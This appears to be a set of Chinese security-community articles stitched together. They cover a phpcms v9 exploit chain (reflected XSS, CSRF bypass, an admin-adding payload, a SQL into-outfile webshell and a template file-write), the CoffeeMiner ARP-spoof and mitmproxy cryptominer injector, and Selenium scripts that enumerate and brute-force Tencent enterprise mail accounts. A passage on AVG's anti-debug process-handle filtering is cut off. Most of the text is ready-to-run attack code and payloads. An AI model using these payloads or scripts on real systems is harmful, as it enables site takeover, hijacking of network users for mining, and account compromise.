上面的注入都存在于后台中，所以会验证pc_hash这个值，而这个值也是用来进行csrf防御的，主要在调用一些函数时会校验该值，所以管理员直接访问/index.php?m=admin是不需要校验该值，而且请求后pc_hash的值会返回给客户端。如果我能找到一个前台的xss，那么就能定向管理员然后获取pc_hash这个值，最后以csrf漏洞的利用方式一样，在后台为所欲为以至于getshell。但是phpcms前台用户的操作很有限，我反正没找到xss。
不过我在后台中找到了一个反射型xss，但是如同上面说的在调用一些函数时会校验pc_hash的值，这就成悖论了：要想触发后台xss，就得先有pc_hash，但是pc_hash又得通过xss获取。怎么办，回过头来审视一下pc_hash校验的过程，看看到底是调用哪些函数会触发该校验。后台操作默认都会有这一个引入
调用\phpcms\modules\admin\classes\admin.class.php类admin的__construct函数
第18行调用check_priv函数
在该函数的第171行如果`$_GET[‘a’]`参数为public_开头的则返回true
第24行调用check_hash函数来校验pc_hash的值以防止csrf漏洞
同样的在该函数中，如果`$_GET[‘a’]`参数为public_开头的则返回true，不再校验pc_hash
所以如果后台中有以public_开头的函数存在漏洞，则能绕过pc_hash的校验，造成csrf漏洞。
上面说到的后台反射型xss就是在 **public_**
开头的函数中，所以后台用户访问时不需要校验pc_hash，不过还是会校验后台权限，所以这个xss只能用来攻击后台用户。
### 0x05 化腐朽为神奇的后台反射型xss
> 在\phpcms\modules\admin\plugin.php文件public_appcenter_ajx_detail函数中
第409行获取远程内容
第411行`$_GET['jsoncallback']`连同获取的内容被一起输出到页面中
链接地址：
/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=<script src=http://192.168.99.129/3.js></script>
3.js的内容为`’alert(1);’`，后台用户访问该链接即可加载远端js，然后js被执行，弹出1
修复建议：
修改\phpcms\modules\admin\plugin.php文件
第411行为
echo htmlspecialchars($_GET['jsoncallback'].'('.$data.')');
修改后对比图：
修改后js已经不能被加载和执行
（注：()内本来不会有内容的，因为请求域名不存在，本地网络被运营商劫持，强行加上去的）
**利用：**
将以下1,2,3方法联合起来使用，就可以实现点击一个链接造成添加管理员或者直接getshell的效果
(1)添加管理员
有了xss，有了pc_hash，那就能通过csrf漏洞在后台为所欲为了，比如添加一个管理员。在添加管理员中的请求中还有一个重要的参数，就是admin_manage_code
这个参数可以从以下连接获取。
> /index.php?m=admin&c=admin_manage&a=add&menuid=54&pc_hash=xxxxx
所以这里需要先获取到pc_hash，然后再获取admin_manage_code，最后就能构造添加管理员的请求包，管理员已登录的情况下，火狐打开如下链接：
/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=%3Cscript%20src=http://192.168.99.129/2.js%3E%3C/script%3E
更新：绕过最新chrome浏览器的xss auditor：
/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=<br>%00%00%00%00%00%00%00%3Cscript%20src=http://192.168.99.129/2.js%3E%3C/script%3E
2.js的内容为如下：
var request = false;
if (window.XMLHttpRequest) {
request = new XMLHttpRequest();
if (request.overrideMimeType) {
request.overrideMimeType('text/xml')
}
} else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for (var i = 0; i < versions.length; i++) {
try {
request = new ActiveXObject(versions[i])
} catch (e) {}
}
}
xmlhttp = request;
xmlhttp.open("GET", "http://192.168.99.127/index.php?m=admin", false);
xmlhttp.send(null);
var pc_hash = xmlhttp.responseText.match(/pc_hash = '(\S*)'/)[1];//获取pc_hash
xmlhttp = request;
xmlhttp.open("GET", "http://192.168.99.127/index.php?m=admin&c=admin_manage&a=add&menuid=54&pc_hash="+pc_hash, false);
xmlhttp.send(null);
var admin_manage_code = xmlhttp.responseText.match(/value="(\S*)" id="admin_manage_code"/)[1];//获取admin_manage_code
var parm = "info%5Busername%5D=test1234&info%5Bpassword%5D=a123123&info%5Bpwdconfirm%5D=a123123&info%5Bemail%5D=1%402ssq.com&info%5Brealname%5D=&info%5Broleid%5D=1&info%5Badmin_manage_code%5D=01c9kekPNINAsqNA_eZY4M1SceLV8Oc70B3nQj6PlXEGMqV-XOBPs0tSqaWcjJ3qZV_2Y6lc9Ts&dosubmit=%CC%E1%BD%BB&pc_hash="+ pc_hash +"&info%5Badmin_manage_code%5D="+admin_manage_code;//添加管理员
xmlhttp = request;
xmlhttp.open("POST", "http://192.168.99.127/index.php?m=admin&c=admin_manage&a=add", true);
xmlhttp.setRequestHeader("Cache-Control","no-cache");
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded")
xmlhttp.send(parm);
请求后会添加一个用户名为test1234密码为a123123的管理员
其他后台的操作可以以同样的方法实现，这里不再赘述
### 0x06 从反射型XSS到CSRF绕过到有条件getshell
这里的有条件指的是后台模块的使用权限（上面已经论述），还有一个就是当前数据库用户的写权限。漏洞的利用方式可以是投稿文章，文章中加入该反射型xss的链接（可以用短域名）或者是以某种手段发送给具备后台权限的用户。具备模块权限已登录后台用户用火狐浏览器打开如下地址：
/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=%3Cscript%20src=http://192.168.99.129/1.js%3E%3C/script%3E
更新：绕过最新chrome浏览器的xss auditor：
/index.php?m=admin&c=plugin&a=public_appcenter_ajx_detail&jsoncallback=<br>%00%00%00%00%00%00%00%3Cscript%20src=http://192.168.99.129/1.js%3E%3C/script%3E
1.js的内容如下
var request = false;
if (window.XMLHttpRequest) {
request = new XMLHttpRequest();
if (request.overrideMimeType) {
request.overrideMimeType('text/xml')
}
} else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for (var i = 0; i < versions.length; i++) {
try {
request = new ActiveXObject(versions[i])
} catch (e) {}
}
}
xmlhttp = request;
xmlhttp.open("GET", "http://192.168.99.127/index.php?m=admin", false);
xmlhttp.send(null);
var pc_hash = xmlhttp.responseText.match(/pc_hash = '(\S*)'/)[1];
//获取pc_hash
xmlhttp = request;
xmlhttp.open("GET", "http://192.168.99.127/index.php?m=content&c=sitemodel_field&a=edit&modelid=&menuid=&pc_hash="+pc_hash, false);
xmlhttp.send(null);
var locations = xmlhttp.responseText.match(/required '(\S*)content/)[1].replace(/\\/g,"/");
//获取绝对路径
var parm = "search%5Bstatus%5D=&search%5Busername%5D=&search%5Bstart_time%5D=1&search%5Bend_time%5D=&dosubmit=%CB%D1%CB%F7&pc_hash="+ pc_hash +"&search%5Bwhere%5D%5Breplyid`/**//**/union/**/select/**/0x3c3f706870204061737365727428245f4745545b27636d64275d293b3f3e/**/into/**/outfile/**/'"+locations+"message/2.php'%23%5D=1";
//攻击payload
xmlhttp = request;
xmlhttp.open("POST", "http://192.168.99.127/index.php?m=message&c=message&a=search_message&menuid=1620", true);
xmlhttp.setRequestHeader("Cache-Control","no-cache");
xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded")
xmlhttp.send(parm);
请求后会自动生成/phpcms/modules/message/2.php
上面的这些利用都是基于这个反射xss的前提下（或者已经登录后台），且涉及到getshell还需要有数据库的写权限，貌似限制还是比较大。那有没有不依靠反射xss且不需要数据库写权限的getshell方法呢？
有！！！！！！
如果上面的分析你有认真看，应该一个认识就是后台对 **public_**
开头的函数不进行pa_hash的校验，恰巧我就又找到了一处这种函数，而且还能将任意内容写入文件，那就意味着我可以通过csrf漏洞来进行后台getshell或者直接进入后台再getshell。
> 在\phpcms\modules\block\block_admin.php函数public_view中
第239行先判断数据库中是否有记录，没有记录的话即直接退出了。
综合第243、245行的判断需要满足表v9_block需要有数据，且选择的数据中type的值为2。
第252行获取要写入文件的内容
第258、259行对内容进行过滤,在函数new_stripslashes中
会对值进行stripslashes函数处理，把之前单引号过滤等还原回来
在函数template_parse中
该函数对写入文件的内容进行填充，第132行将
<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>
写入文件头部，以防止文件被web直接访问
第260行指定文件为\caches\caches _template\block\tmp_ $_GET['id'].php
第265行将内容写入到该文件中
如果文件写入成功，在267行包含该文件并读取内容，第270行删除该文件
综上，写入的文件内容可控，且因为new_stripslashes函数的处理导致我们可以引入单引号，也因为最后文件被包含后就会被删除，所以最后漏洞的利用方法为当文件被包含的时候就生成另外的文件。
漏洞的触发点在后台的
> 内容 > 内容发布管理 > 碎片管理 >
默认安装下v9_block表是空的，关于如何添加碎片：
<http://v9.help.phpcms.cn/html/2010/tools_0906/6.html>
一旦用户已经添加过碎片，即v9_block表中有数据且type类型为2时就可以触发该漏洞，否则就比较麻烦，还是要利用上面的反射型xss先添加一个记录，再进行漏洞的利用。
id（$_GET['id']）是可猜解的,发起如下请求：
POST /index.php?m=block&c=block_admin&a=public_view&id=2 HTTP/1.1
Host: 192.168.99.127
Content-Length: 178
Pragma: no-cache
Cache-Control: no-cache
Origin: http://192.168.99.127
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
DNT: 1
Referer:
Cookie:
Connection: close
title[x]=a&url[x]=b&thumb[x]=c&desc[x]=d&template=heiheihei<?php @file_put_contents('C:\www\cms\phpcms_v9.6.3_GBK\caches\caches_template\block\1.php','<?php echo\'bbb\'?>');?>bbb
即可生成\caches\caches_template\block\1.php文件
从csrf到漏洞的利用脚本我就不写了。 | 社区文章 |
几周前，网上有一篇关于星巴克wifi被劫持进行加密货币挖矿的报道，研究人员觉得这是一个不错的攻击方式。然后就有了下面的研究，本研究的目的是解释如何进行MITM攻击来向HTML页面注入JS脚本，这样所有连接WIFI的设备都必须为攻击者进行加密货币挖矿。
CoffeeMiner的目的是在目标网络中执行JS脚本。
# 1\. 攻击场景
## 1.1 场景配置
现实的场景是连接Wifi的笔记本和智能手机，研究人员已经在现实场景中进行了测试，工作正常。本文中进行了虚拟环境的创建。
创建虚拟环境使用的是VirtualBox和Kali
Linux系统。安装好VirtualBox，下载好镜像后，研究人员创建了3个VBox虚拟机。分别饰演3个角色，分别是Victim受害者、attacker攻击者和router/gateway路由器/网关：
Victim受害者：连接到路由器并进行页面浏览的机器。
Attacker攻击者：运行CoffeeMiner进行MITM攻击的机器。
Router/gateway路由器/网关：网关设备。
攻击执行之后，上面的场景会变成下图（MITM）：
需要对设备进行如下配置：
Victim
network adapter:
eth0: Host-only Adapter
/etc/network/interfaces:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 10.0.2.10
netmask 255.255.255.0
gateway 10.0.2.15
Attacker
network adapter:
eth0: Host-only Adapter
/etc/network/interfaces:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet static
address 10.0.2.20
netmask 255.255.255.0
gateway 10.0.2.15
Router / Gateway
network adapter:
eth0: Bridged Adapter
eth1: Host-only Adapter
/etc/network/interfaces:
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet dhcp
auto eth1
iface eth1 inet static
address 10.0.2.15
netmask 255.255.255.0
# 2\. CoffeeMiner代码
## 2.1 ARPspoofing
首先，要了解MITM攻击的执行方式。
可以用 dsniff 库进行ARP欺骗攻击：
arpspoof -i interface -t ipVictim ipGateway
arpspoof -i interface -t ipGateway ipVictim
## 2.2 mitmproxy
mitmproxy是一个允许分析和编辑通过主机的流量的软件工具，在本研究中，研究人员用该工具来注入JS代码到HTML页面中。下面是注入的JS脚本的例子：
`<script src="http://httpserverIP:8000/script.js"></script>`
## 2.3 Injector
一旦拦截到victim的流量，研究人员就对流量进行了修改，注入了脚本。注入使用的mitmproxy API:
from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse
class Injector:
def __init__(self, path):
self.path = path
def response(self, flow: http.HTTPFlow) -> None:
if self.path:
html = BeautifulSoup(flow.response.content, "html.parser")
print(self.path)
print(flow.response.headers["content-type"])
if flow.response.headers["content-type"] == 'text/html':
script = html.new_tag(
"script",
src=self.path,
type='application/javascript')
html.body.insert(0, script)
flow.response.content = str(html).encode("utf8")
print("Script injected.")
def start():
parser = argparse.ArgumentParser()
parser.add_argument("path", type=str)
args = parser.parse_args()
return Injector(args.path)
## 2.4 HTTP服务器
研究人员向HTML文件中注入了一行代码，用来调用JS
加密货币挖矿机。但是，还需要把这个脚本文件应用到HTTP服务器上。研究人员在攻击者机器上实现了一个HTTP服务器：
#!/usr/bin/env python
import http.server
import socketserver
import os
PORT = 8000
web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
os.chdir(web_dir)
Handler = http.server.SimpleHTTPRequestHandler
httpd = socketserver.TCPServer(("", PORT), Handler)
print("serving at port", PORT)
httpd.serve_forever()
上面的代码是一个向受害者提供加密货币矿机的简单HTTP服务器，JS挖矿机被放置在/miner_script目录下，研究人员用的矿机是CoinHive
JS挖矿机。
## 2.5 CoinHive crypto miner
CoinHive 是用来挖门罗币的JS挖矿机，需要用户在网页的浏览时间较长。
# 3\. CoffeeMiner
研究人员把所有之前的概念结合在一起，变成一个自动化的程序，那就是CoffeeMiner。CoffeeMiner脚本可以执行ARPspoofing攻击并设定mitmproxy代理来向受害者HTML页面注入CoinHive加密货币挖矿机。
为了把受害者的机器变成一个代理，需要配置ip_forwarding和IPTABLES：
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
在受害者的机器上进行ARPspoofing，我们需要准备一个含有所有受害者IP的victims.txt文件。
# get gateway_ip
gateway = sys.argv[1]
print("gateway: " + gateway)
# get victims_ip
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)
# run the arpspoof for each victim, each one in a new console
for victim in victims:
os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
运行ARPspoofing后，还需要运行HTTP服务器：
`> python3 httpServer.py`
用mitmproxy运行injector.py
`> mitmdump -s 'injector.py http://httpserverIP:8000/script.js'`
## 3.1 CoffeeMiner最终脚本
coffeeMiner.py脚本的最终代码如下：
import os
import sys
#get gateway_ip (router)
gateway = sys.argv[1]
print("gateway: " + gateway)
# get victims_ip
victims = [line.rstrip('\n') for line in open("victims.txt")]
print("victims:")
print(victims)
# configure routing (IPTABLES)
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
# run the arpspoof for each victim, each one in a new console
for victim in victims:
os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
# start the http server for serving the script.js, in a new console
os.system("xterm -hold -e 'python3 httpServer.py' &")
# start the mitmproxy
os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
injector.py脚本：
from bs4 import BeautifulSoup
from mitmproxy import ctx, http
import argparse
class Injector:
def __init__(self, path):
self.path = path
def response(self, flow: http.HTTPFlow) -> None:
if self.path:
html = BeautifulSoup(flow.response.content, "html.parser")
print(self.path)
print(flow.response.headers["content-type"])
if flow.response.headers["content-type"] == 'text/html':
print(flow.response.headers["content-type"])
script = html.new_tag(
"script",
src=self.path,
type='application/javascript')
html.body.insert(0, script)
flow.response.content = str(html).encode("utf8")
print("Script injected.")
def start():
parser = argparse.ArgumentParser()
parser.add_argument("path", type=str)
args = parser.parse_args()
return Injector(args.path)
执行：
`> python3 coffeeMiner.py RouterIP`
# 4\. Demo
为了执行上面描述的攻击，需要安装VirtualBox和下面的终端：
一旦完成ARPspoofing攻击，并且准备好injector和HTTP服务器，然后就可以在受害者的收集器上进行网页浏览了。受害者的流量就会经过攻击者的机器(MITM攻击)，激活injector：
Victim访问的HTML页面就会被攻击者注入。
## 4.1 Demo视频
· VirtualBox demo: <https://www.youtube.com/watch?v=wmYJ6Z4LoCA>
· WiFi网络和笔记本的demo：<https://www.youtube.com/watch?v=-TnzGLUD0DU>
# 5.结论
从上面的demo和创建过程，可以得出结论：很容易在wifi网络中进行这样的自动化攻击。
coffeeMiner完整代码地址：<https://github.com/arnaucode/coffeeMiner>
<http://arnaucode.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html> | 社区文章 |
在挖厂商漏洞的时候,都会在网上收集一份厂商的企业邮箱名单,然后使用弱口令对每个邮箱进行爆破.
但是网上的邮箱很多都是爬虫爬到的,你没法去确定一个邮箱是不是有效的.
为了提高效率,避免盲目的对一批邮箱进行爆破,可以先对邮箱的有效性进行检测
然后我就找到了一个腾讯企业邮箱快速判断有效性的方法 : )
## 一开始
我发现一个邮箱账号当天登陆错误次数超过5次以后会出现图形验证码验证.
我写了一个自动爆破的脚本,每个邮箱每天可以尝试5个密码 (毕竟那么菜，不会写验证码识别的脚本)
browser = webdriver.Chrome()
browser.get("https://exmail.qq.com/cgi-bin/loginpage")
elem_id = browser.find_element_by_id("inputuin")
elem_id.send_keys(user)
elem_pass = browser.find_element_by_id("pp")
elem_pass.send_keys(pwd)
elem_pass.send_keys(Keys.RETURN)
time.sleep(1)
# 判断登陆成功
try:
element = browser.find_element_by_id("subject")
except Exception as msg:
browser.close()
else:
print("Success:user:%s pwd:%s" % (user, pwd))
## 验证邮箱有效性
时间久了,我觉得邮箱太多,跑起来太耗时间,我需要确定我列表里的每一个邮箱都是有效的.
我试着使用一个不存在的邮箱来登陆,发现一个不存在的邮箱,无论错误次数是多少次,验证码都不会出现. (上面说到存在的邮箱错误5次出现验证码)
这样就可以写个小脚本对每个邮箱登陆5次,在某次登陆失败以后出现验证码时就可以判断这个邮箱的有效性了.
### 腾讯企业邮箱的验证码是JS打印出来的，通过另一条JS和一个条件来修改DIV的Style进行隐藏和显示
def exist(self, email):
'''验证一个邮箱是否存在'''
i = 1 # 初始化请求次数
while True:
if i == 6:
print(email + "不存在.")
break
browser = self.login(email, "exist_1234")
i += 1
# 获取验证码样式
style = browser.find_element_by_id("VerifyArea").get_attribute("style")
if "block" in style:
print(email + "存在.")
browser.close()
这里也看到了,这个脚本判断一个邮箱是不是有效的,需要登陆5次才能出来...
或许还能让速度更快一些...
### 在测试过程中我又发现:当url中的verify=true时,登陆时会先判断邮箱是不是存在，再判断验证码是否正确
[https://exmail.qq.com/cgi-bin/loginpage?autologin=n&errtype=&verify=true&[email protected]](https://exmail.qq.com/cgi-bin/loginpage?autologin=n&errtype=&verify=true&[email protected])
那么现在就能把判断邮箱有效性的请求从5次降低到1次.只需要设置verify=true,输入错误的验证码后检查返回的错误信息就好.
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
def exist(self, email):
browser = self.login(email, "abcdefg")
try:
browser.find_element_by_id("errorNamePassowrd")
except:
try:
browser.find_element_by_id("errorVerifyCode")
except:
print("未知错误")
else:
print(email + "存在")
else:
print(email + "不存在")
browser.close()
def login(self, email, password):
'''腾讯邮箱登陆'''
browser = webdriver.Chrome()
browser.get("https://exmail.qq.com/cgi-bin/loginpage?autologin=n&errtype=&verify=true&clientuin=" + email)
elem_pass = browser.find_element_by_id("pp")
elem_pass.send_keys(password)
elem_id = browser.find_element_by_id("vc")
elem_id.send_keys("test123")
elem_pass.send_keys(Keys.RETURN)
return browser
## 最后
* [email protected] 存在
* [email protected] 存在
* [email protected] 存在
* [email protected] 不存在
* [email protected] 不存在
* [email protected] 不存在
* [email protected] 存在
* [email protected] 存在
* [email protected] 存在
* [email protected] 存在
* [email protected] 存在
* [email protected] 存在
* [email protected] 存在
* [email protected] 不存在
* [email protected] 存在
* [email protected] 不存在
* [email protected] 存在
* [email protected] 存在
* [email protected] 存在
* [email protected] 存在
* [email protected] 存在
用selenium是因为懒,登陆表单会生成一些认证的东西...直接在脚本里去更新这些认证参数会更麻烦吧...
膜拜各位. | 社区文章 |
# Windows反调试技术：过滤OpenProcess
##### 译文声明
本文是翻译文章，文章原作者 xpn，文章来源：xpnsec.com
原文地址：<https://blog.xpnsec.com/anti-debug-openprocess/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
前一阵子我一直在研究与SYSTEM权限有关的技术，本周我想暂时休息一下，把目光转到一些反调试技术上。现在许多漏洞奖励计划中都会包含客户端应用程序方面内容，而许多安全产品（以及游戏中的反作弊引擎）会使用各种技术阻止用户调试核心组件，本文中我们介绍了某一种反调试技术以及相应的规避方法。
显而易见的是，本文中介绍的技术并不属于漏洞范畴，如果攻击者已经掌握系统的访问权限，那么就不用费那么多事，他们很有可能已经在系统中装上了rootkit，完成攻击过程。
在本文中我测试的是AVG安全产品，但其他许多AV解决方案及安全产品也使用了完全相同的技术，因此本文介绍的方法也可以在这些产品上使用。
## 二、具体问题
如果你之前曾经尝试使用`x64dbg`调试工具附加（attach）到某个AV组件上，你经常会看到如下画面，这一点已经见惯不怪：
实际结果是调试器无法成功attach到该进程上，我们只能茫然地盯着屏幕，不知下一步该干啥。另外，如果我们不attach，而是选择在调试器中启动该进程，会看到如下画面：
还是得到一样的结果，当程序即将启动时我们就已被踢出局。最后，像其他逆向分析师一样，我们尝试使用WinDBG来分析，结果会得到如下错误信息：
为了理解调试器的工作原理，也为了让我们更好地了解到底哪里出了问题，我们可以分析一下x64dbg的代码（实际上我们需要分析的是[TitanEngine](https://www.reversinglabs.com/open-source/titanengine.html)的代码，TitanEngine是x64dbg使用的调试引擎），看看我们无法attach进程背后的具体原因。
__declspec(dllexport) bool TITCALL AttachDebugger(DWORD ProcessId, bool KillOnExit, LPVOID DebugInfo, LPVOID CallBack)
{
...
if(ProcessId != NULL && dbgProcessInformation.hProcess == NULL)
{
if(engineEnableDebugPrivilege)
{
EngineSetDebugPrivilege(GetCurrentProcess(), true);
DebugRemoveDebugPrivilege = true;
}
if(DebugActiveProcess(ProcessId))
{
...
}
}
}
这里我们可以看到，x64dbg使用的是[DebugActiveProcess](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679295\(v=vs.85).aspx)这个API函数，该API为`KernelBase.dll`提供的Win32
API。
## 三、DebugActiveProcess的工作原理
`DebugActiveProcess`
负责启动针对目标进程的调试会话，以进程的PID值作为参数。如果我们在[MSDN](https://msdn.microsoft.com/en-us/library/windows/desktop/ms679295\(v=vs.85).aspx)上查找这个函数，我们可以得到如下信息：
_“调试器必须具备目标进程的合适权限，必须能够以`PROCESS_ALL_ACCESS`方式打开目标进程。_
_如果目标进程创建时使用了安全描述符（security
descriptor），使调试器无法获得完全访问权限，那么调用`DebugActiveProcess`时可能会失败。如果调试进程具备`SE_DEBUG_NAME`权限，那么它就可以调试任何进程。”_
这段话给了我们第一个提示信息，提示我们究竟是什么导致我们的调试会话无法正常建立。从上述代码片段中，我们可以看到调试器正在调用`EngineSetDebugPrivilege`，那么我们来看看这个函数的具体内容：
DWORD EngineSetDebugPrivilege(HANDLE hProcess, bool bEnablePrivilege)
{
DWORD dwLastError;
HANDLE hToken = 0;
if(!OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
{
...
}
...
if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
{
...
}
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luid;
if(bEnablePrivilege)
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tokenPrivileges.Privileges[0].Attributes = 0;
AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
...
}
在上述代码中，我们的进程具备`SE_DEBUG_NAME`权限，也就是说我们满足了上述要求，可以从调试器中调用`DebugActiveProcess`函数。
接下来我们需要看一下我们是否拥有目标进程的`PROCESS_ALL_ACCESS`访问权限。
## 四、DebugActiveProcess内部工作流程
`DebugActiveProcess`这个API仅接受一个参数，那就是目标进程的进程ID，函数内部会调用`ProcessIdToHandle`，利用这个值获得目标进程的句柄。
如果我们跳转到`ProcessIdToHandle`函数，我们会发现该函数只是`NtOpenProcess` API的封装函数：
对于`NtOpenProcess`函数，其`DesiredAccess`参数的传入值为`C3Ah`。查阅相关[文档](https://msdn.microsoft.com/en-us/library/windows/desktop/ms684880\(v=vs.85).aspx)后，我们发现这个值为一些标志的组合值，这些标志为：
* PROCESS_CREATE_THREAD
* PROCESS_VM_OPERATION
* PROCESS_VM_WRITE
* PROCESS_VM_READ
* PROCESS_SUSPEND_RESUME
* PROCESS_QUERY_INFORMATION
使用这个值后，函数就可以拥有所需的所有权限，开始调试目标进程。
现在，我们已经知道调试器具备`SE_DEBUG_NAME`权限，并且`DebugActiveProcess`调用也拿到了目标进程的正确的访问权限。那么，到底是什么在阻止我们调试目标进程？
## 五、ObRegisterCallbacks登场
当我加入游戏以及游戏修改（modding）社区时，我才第一次见到`ObRegisterCallbacks`的身影，社区爱好者在绕过反作弊及DRM驱动时，经常使用该函数在游戏中修改或注入其他功能。
根据微软的说法，[ObRegisterCallbacks](https://msdn.microsoft.com/en-us/library/windows/hardware/ff558692\(v=vs.85).aspx)是
_“一个例程，负责为线程、进程以及桌面句柄操作注册一系列回调例程”_
。这一过程在内核模式下完成，借助这一功能，当调用`OpenProcess`函数以及当`OpenProcess`函数返回时，驱动程序可以获得相关通知信息。
但为什么这个函数可以阻止调试器访问AV进程呢？想要阻止程序成功调用`DebugActiveProcess`的一种方法就是过滤掉在`NtOpenProcess`调用期间所请求的访问权限。阻止调试器请求目标进程的`PROCESS_ALL_ACCESS`权限后，我们自然就失去调试该进程的能力。这一方法也顺便解释了我们之前在WinDBG中看到的错误现象。
但是我们还需要确定这是否就是我们当前问题的症结所在。现在让我们使用内核调试器，看一下Ring-0状态下系统如何处理已注册的回调函数。
（我不会在本文中介绍如何设置内核调试器，大家可以查看我之前发表的[文章](https://blog.xpnsec.com/windows-warbird-privesc/)了解具体细节）。
## 六、ObRegisterCallback内部流程
建立内核调试器连接后，首先我们可以使用`nt!ProcessType`来获得一些信息：
kd> dt nt!_OBJECT_TYPE poi(nt!PsProcessType)
+0x000 TypeList : _LIST_ENTRY [ 0xffffcb82`dee6cf20 - 0xffffcb82`dee6cf20 ]
+0x010 Name : _UNICODE_STRING "Process"
+0x020 DefaultObject : (null)
+0x028 Index : 0x7 ''
+0x02c TotalNumberOfObjects : 0x26
+0x030 TotalNumberOfHandles : 0xe8
+0x034 HighWaterNumberOfObjects : 0x26
+0x038 HighWaterNumberOfHandles : 0xea
+0x040 TypeInfo : _OBJECT_TYPE_INITIALIZER
+0x0b8 TypeLock : _EX_PUSH_LOCK
+0x0c0 Key : 0x636f7250
+0x0c8 CallbackList : _LIST_ENTRY [ 0xffffa002`d31bacd0 - 0xffffa002`d35d2450 ]
该符号提供了指向`_OBJECT_TYPE`对象的一个指针，该对象定义了“Process”类型，其中我们最感兴趣的是`CallbackList`属性。这个属性定义了由[ObRegisterCallbacks](https://msdn.microsoft.com/en-us/library/windows/hardware/ff558692\(v=vs.85).aspx)注册的一系列回调函数，随后，当有程序尝试获取进程句柄时内核就会调用这些回调函数。知道这些信息后，我们可以遍历回调函数列表，查找有哪些已注册的回调会干扰我们调用`OpenProcess`。
`CallbackList`是指向`CALLBACK_ENTRY_ITEM`结构的一个`LIST_ENTRY`。微软文档中并没有公开这个结构，感谢“DOUGGEM’S
GAME HACKING AND REVERSING
NOTES”这个[网站](https://douggemhax.wordpress.com/2015/05/27/obregistercallbacks-and-countermeasures/)，我们最终可以得知该结构的具体定义，如下所示：
typedef struct _CALLBACK_ENTRY_ITEM {
LIST_ENTRY EntryItemList;
OB_OPERATION Operations;
CALLBACK_ENTRY* CallbackEntry;
POBJECT_TYPE ObjectType;
POB_PRE_OPERATION_CALLBACK PreOperation;
POB_POST_OPERATION_CALLBACK PostOperation;
__int64 unk;
}CALLBACK_ENTRY_ITEM, *PCALLBACK_ENTRY_ITEM;
这里我们关心的是该结构中的`PreOperation`属性。
我们可以使用如下WinDBG命令来遍历`CALLBACK_ENTRY_ITEM`列表：
!list -x ".if (poi(@$extret+0x28) != 0) { u poi(@$extret+0x28); }" (poi(nt!PsProcessType)+0xc8)
在我的测试环境中，我总共发现了4个驱动使用`ObRegisterCallbacks`注册了`PreOperation`回调函数。我们可以使用WinDBG获得驱动名称，以便后续分析：
!list -x ".if (poi(@$extret+0x28) != 0) { lmv a (poi(@$extret+0x28)) }" (poi(nt!PsProcessType)+0xc8)
上面列出的4个驱动中，有一个非常值得怀疑，那就是`avgSP.sys`：
“AVG自我保护模块（AVG self protection
module）”这个驱动会限制我们使用调试器来附加到相关进程（其实该驱动最大的作用很有可能是防止恶意软件篡改反病毒引擎）。让我们深入分析这个驱动，看是否有任何蛛丝马迹表明该驱动的确会修改我们的`OpenProcess`调用。
首先，搜索`ObRegisterCallbacks`后，我们可以找到某个处理程序的注册过程，如下所示：
如果我们检查已注册的处理程序，我们很快就能看到如下类似信息：
上图显示的汇编代码中，`A0121410`这个魔术值实际上对应的是如下权限：
* PROCESS_VM_READ
* PROCESS_QUERY_INFORMATION
* PROCESS_QUERY_LIMITED_INFORMATION
* READ_CONTROL
